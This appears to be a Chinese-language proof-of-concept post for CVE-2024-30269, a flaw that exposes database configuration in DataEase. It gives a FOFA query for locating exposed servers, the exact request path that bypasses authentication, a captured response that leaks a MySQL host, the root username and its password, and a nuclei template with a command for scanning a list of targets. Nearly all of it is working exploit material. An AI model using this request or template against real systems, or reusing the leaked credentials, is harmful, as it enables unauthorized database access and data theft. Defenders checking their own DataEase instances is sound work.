CVE-2024-30269 漏洞复现 poc

body="Dataease"

http://x.x.x.x/de2api/engine/getEngine;.js

GET /de2api/engine/getEngine;.js HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; CrOS aarch64 15242.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

HTTP/1.1 200 Connection: closeTransfer-Encoding: chunkedCache: no-cacheCache-Control: no-cacheContent-Disposition: inline;filename=f.txtContent-Type: application/jsonDate: Wed, 25 Sep 2024 02:43:59 GMTExpires: 0Pragma: no-cache{"code":0,"msg":null,"data":{"id":"1","pid":null,"name":"默认引擎","description":"默认引擎","type":"mysql","typeAlias":null,"catalog":null,"catalogDesc":null,"configuration":"{"type":null,"name":null,"catalog":null,"catalogDesc":null,"extraParams":"autoReconnect=false&useUnicode=true&characterEncoding=UTF-8&characterSetResults=UTF-8&zeroDateTimeBehavior=convertToNull&useSSL=false","keywordPrefix":"","keywordSuffix":"","aliasPrefix":"","aliasSuffix":"","jdbc":"jdbc:mysql://xxx.com:63915/dataease?autoReconnect=false&useUnicode=true&characterEncoding=UTF-8&characterSetResults=UTF-8&zeroDateTimeBehavior=convertToNull&useSSL=false","host":"xxx.com","port":63915,"username":"root","password":"1qaz2wsx","dataBase":"dataease","schema":null,"customDriver":"default","authMethod":"passwd","connectionType":null,"charset":null,"targetCharset":null,"driver":"com.mysql.cj.jdbc.Driver","initialPoolSize":5,"minPoolSize":5,"maxPoolSize":50,"queryTimeout":30,"illegalParameters":["autoDeserialize","queryInterceptors","statementInterceptors","detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile","allowLoadLocalInfileInPath"],"showTableSqls":["show tables"]}","apiConfigurationStr":null,"createTime":null,"updateTime":null,"createBy":null,"creator":null,"status":null,"syncSetting":null,"editType":null,"nodeType":null,"action":null,"fileName":null,"size":null,"lastSyncTime":null}}

id: CVE-2024-30269info:  name: DataEase存在数据库配置信息暴露漏洞  author: fgz  severity: high  description: 'DataEase是一个开源数据可视化和分析工具，在版本2.5.0之前存在数据库配置信息暴露漏洞。通过浏览器访问`/de2api/engine/getEngine;.js`路径可以获取平台的数据库配置。该漏洞已在v2.5.0中修复，除了升级之外，没有已知的解决方法。'  tags: cve-2024  metadata:    max-request: 1    fofa-query: body="Dataease"    verified: truehttp:  - method: GET    path:      - "{{BaseURL}}/de2api/engine/getEngine;.js"    matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - "name"          - "configuration"        condition: and        part: body

nuclei.exe -t mypoc/2024/CVE-2024-30269.yaml -l 1.txt